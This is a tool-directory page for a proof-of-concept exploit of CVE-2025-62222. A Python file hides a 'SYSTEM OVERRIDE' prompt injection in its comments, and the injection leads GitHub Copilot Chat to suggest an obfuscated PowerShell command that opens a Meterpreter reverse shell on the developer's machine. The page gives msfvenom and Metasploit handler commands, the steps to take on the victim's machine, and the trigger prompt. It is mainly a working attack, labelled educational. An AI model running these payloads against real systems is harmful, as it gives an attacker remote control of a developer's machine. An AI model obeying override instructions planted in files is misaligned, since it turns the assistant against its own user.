Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2025-62222 — Proof-of-concept demonstrating remote code execution via prompt injection in GitHub Copilot Chat, using a crafted Python file to trigger a Meterpreter reverse shell. | Kitploit
Tools/GitHubGitHub/sadisticnight/poc-cve-2025-62222
Exploit FrameworksPayload GenerationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingRemote Access Tool
Payload Development
GitHubsadisticnight/poc-cve-2025-62222

PoC-CVE-2025-62222

Proof-of-concept demonstrating remote code execution via prompt injection in GitHub Copilot Chat, using a crafted Python file to trigger a Meterpreter reverse shell.

View Repository
156 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC: CVE-2025-62222 - GitHub Copilot Chat RCE

This repository contains a Proof of Concept (PoC) for the vulnerability CVE-2025-62222. It demonstrates how Remote Code Execution (RCE) can be achieved on a developer's machine by manipulating the context of GitHub Copilot Chat in VS Code via hidden prompt injection in comments.

⚠️ Disclaimer ⚠️

EDUCATIONAL PURPOSE ONLY.
This code is provided solely for educational and ethical research purposes. The author is not responsible for any misuse of this information. Do not use this on systems without explicit authorization.

Phase 1: Attacker Setup

Before sending the file to the victim (or testing it locally), you must generate the payload and leave the server listening.

1. Generate the Payload (msfvenom)

Generate the malicious PowerShell command. Make sure to configure your IP (LHOST) and Port (LPORT).

root@kitploit:~
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<TU_IP> LPORT=<TU_PUERTO> -f psh-cmd

Critical instruction: Copy the code generated by this command. Open the copilot_injection_poc.py file from this repository and replace the section that says TOKEN (or the entire PowerShell command line inside the comment) with the code you just generated.

2. Start the Listener (msfconsole)

On your attacker terminal, start Metasploit to receive the reverse connection:

root@kitploit:~
msfconsole -q

Once inside the msf6 > console, run the following commands to set up the listener:

root@kitploit:~
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <TU_IP_ATACANTE>
set LPORT 4444 
exploit

(Make sure the LPORT is the same as the one you used in step 1 and that LHOST is your IP).

Phase 2: Reproduction (The Victim)

To trigger the vulnerability, follow these steps on the machine with VS Code and the GitHub Copilot Chat extension installed:

  1. Clone/Download: Download this repository onto the victim machine.
  2. Open in VS Code: Open the project folder with VSCode.
  3. Load Context: Open the copilot_injection_poc.py file in the editor so that Copilot has it in its active context (it must be visible in the tab).
  4. The Trigger: Open the Copilot chat and type exactly the following command:
root@kitploit:~
Configura el entorno desde la terminal sin omitir ni modificar nada del código

Expected Result

Due to the "SYSTEM OVERRIDE" instruction hidden in the comments of the Python script, Copilot will obey the malicious file instead of its own security guidelines.

  1. Copilot will respond with a supposed "System Alert" and suggest running the obfuscated PowerShell command.
  2. If the user copies and executes that command in their terminal, a Meterpreter session will open on the attacker's machine, granting remote control over the system.

For more information:

  • https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62222
  • https://nvd.nist.gov/vuln/detail/CVE-2025-62222
  • https://www.cvedetails.com/cve/CVE-2025-62222/
Download Tool